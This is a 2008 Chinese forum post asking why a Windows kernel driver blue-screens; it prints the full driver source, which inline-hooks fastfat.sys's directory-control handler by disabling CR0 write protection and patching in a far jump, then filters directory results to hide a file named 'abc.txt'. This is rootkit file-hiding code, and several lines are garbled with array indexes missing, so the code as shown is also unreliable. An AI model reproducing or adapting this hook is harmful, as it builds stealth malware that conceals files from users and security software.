阅读:2045回复:1
fsd inline hook IRP_MJ_DIRECTORY_CONTROL
fsd inline hook IRP_MJ_DIRECTORY_CONTROL 在完成例程中隐藏了文件会bosd 注释掉hidefile就正常了 想了很久 觉得可能是同步问题 希望大家帮我看看 谢谢了
#include "ntddk.h" typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD * PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct tag_QUERY_DIRECTORY { ULONG Length; PUNICODE_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass; ULONG FileIndex; } QUERY_DIRECTORY, *PQUERY_DIRECTORY; NTSYSAPI NTSTATUS ObReferenceObjectByName( IN PUNICODE_STRING ObjectPath, IN ULONG Attributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID *ObjectPtr); typedef NTSTATUS (*OLDIRPMJDIRECTORYCONTROL)(IN PDEVICE_OBJECT,IN PIRP); NTSTATUS HookFastFat();//hook fastfat.sys NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context);//完成示例 VOID write();//写入补丁 VOID write_back();//写回补丁 NTAPI MyDirectoryControl();//这个函数将inline在IRP_MJ_DIRECTORY_CONTROL之前 NTSTATUS Check();//测试一下 其实是硬编码 如果想应用在不同平台 需要改进 PDRIVER_OBJECT pFile=NULL;//fastfat的PDRIVER_OBJECT OLDIRPMJDIRECTORYCONTROL OldIrpMjDirectoryControl;//原来的MajorFunction[IRP_MJ_DIRECTORY_CONTROL] BOOL hook;//hook标志 PIO_STACK_LOCATION irpStack; DWORD context; // This is our unload function BOOLEAN HideFile(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth) { ANSI_STRING ansiFileName,ansiDirName,HideDirFile; UNICODE_STRING uniFileName; PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo; PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL; ULONG offset = 0; ULONG position = 0; ULONG newLenth = *lpBufLenth; RtlInitAnsiString(&HideDirFile,"abc.txt"); do { offset = currentDirInfo->NextEntryOffset; RtlInitUnicodeString(&uniFileName,currentDirInfo->FileName); RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE); RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE); if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length) { if (0 == offset) { if (lastDirInfo) { lastDirInfo->NextEntryOffset = 0; newLenth -= *lpBufLenth - position; } else { currentDirInfo->NextEntryOffset = 0; *lpBufLenth = 0; return TRUE; } } else { RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, *lpBufLenth - position - offset); newLenth -= offset; position += offset; } } else { position += offset; lastDirInfo = currentDirInfo; currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset); } } while (0 != offset); *lpBufLenth = newLenth; return TRUE; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("OnUnload called\n"); if (hook) { write_back(); } //这里我用的方法是inline hook 还可以用下面方法hook IRP /*if (OldIrpMjDirectoryControl&&pFile) { InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)OldIrpMjDirectoryControl); }*/ } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { NTSTATUS ntStatus; DbgPrint("I loaded!"); ntStatus=HookFastFat(); if(!NT_SUCCESS(ntStatus)) return ntStatus; // Initialize the pointer to the unload function // in the DriverObject theDriverObject->DriverUnload = OnUnload; return STATUS_SUCCESS; } //hook fastfat.sys NTSTATUS HookFastFat() { char *p; int i; NTSTATUS ntStatus; UNICODE_STRING sFastFat; WCHAR FastFatBuffer[]=L"\\FileSystem\\Fastfat"; RtlInitUnicodeString(&sFastFat,FastFatBuffer); //得到pFile ntStatus=ObReferenceObjectByName(&sFastFat, OBJ_CASE_INSENSITIVE,NULL,0, ( POBJECT_TYPE )IoDriverObjectType, KernelMode,NULL,&pFile); if(!NT_SUCCESS(ntStatus)) return ntStatus; //保持一下旧的MajorFunction[IRP_MJ_DIRECTORY_CONTROL] OldIrpMjDirectoryControl=pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL]; //p=(char *)OldIrpMjDirectoryControl; //函数地址change hook /*if (OldIrpMjDirectoryControl) { InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)MyControl); }*/ //DbgPrint("%08X",p); /*for(i=0;i<7;i++) { DbgPrint("-0x%02X",(unsigned char)p); }*/ //在此处将补丁写入 将hook标志置TRUE if(NT_SUCCESS(Check())) { DbgPrint(" check SUCCESS"); write(); hook=TRUE; } else DbgPrint(" check UNSUCCESSFUL"); return ntStatus; } //测试一下 NTSTATUS Check() { int i=0; char *p=(char *)OldIrpMjDirectoryControl; char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9}; for(;i<7;i++) { DbgPrint("-0x%02X",(unsigned char)p); if(p!=c) { return STATUS_UNSUCCESSFUL; } } return STATUS_SUCCESS; } //写入补丁 VOID write() { KIRQL oldIrql; char *actual_function=(char *)OldIrpMjDirectoryControl; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; //jmp 11223344 char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 }; //要返回的地址是原来地址+7 reentry_address = ((unsigned long)OldIrpMjDirectoryControl) + 7; //分配空间 要是NonPagedPool non_paged_memory = ExAllocatePool(NonPagedPool,1024); //将补丁写入non_paged_memory for(i=0;i<1024;i++) { ((unsigned char *)non_paged_memory) = ((unsigned char *)MyDirectoryControl); } //将地址保持在detour_address detour_address = (unsigned long)non_paged_memory; //将11223344替换为真正补丁地址 *( (unsigned long *)(&newcode[1]) ) = detour_address; //将AAAAAAAA替换为真正的返回地址 for(i=0;i<1024;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&non_paged_memory) ) = reentry_address; break; } } oldIrql = KeRaiseIrqlToDpcLevel(); //写入补丁了 __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } for(i=0;i < 7;i++) { actual_function = newcode; } __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } KeLowerIrql(oldIrql); } //写回 VOID write_back() { KIRQL oldIrql; char *actual_function=(char *)OldIrpMjDirectoryControl; //将原来的指令写回 此处用的硬编码 char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9}; int i; oldIrql = KeRaiseIrqlToDpcLevel(); __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } for(i=0;i < 7;i++) { actual_function = c; } __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } KeLowerIrql(oldIrql); } //此处为naked 函数 防止编译器放入额外操作码 __declspec(naked) NTAPI MyDirectoryControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp) { irpStack=IoGetCurrentIrpStackLocation(Irp); irpStack->Control = 0; irpStack->Control = SL_INVOKE_ON_SUCCESS; irpStack->Control |= SL_INVOKE_ON_ERROR; irpStack->Control |= SL_INVOKE_ON_CANCEL; irpStack->CompletionRoutine=(PIO_COMPLETION_ROUTINE)MyCompletionRoutine; __asm { // exec missing instructions push 18h push 0F9D83D20h } // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA __asm { _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } //CompletionRoutine NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { //HideFile(Irp->UserBuffer, &((PQUERY_DIRECTORY)&irpStack->Parameters)->Length); DbgPrint("MyCompletionRoutine called"); return Irp->IoStatus.Status; } |
|
沙发#
发布于:2008-05-22 17:47
没人理我呢 自己小顶一下 继续等待大牛帮助
|
|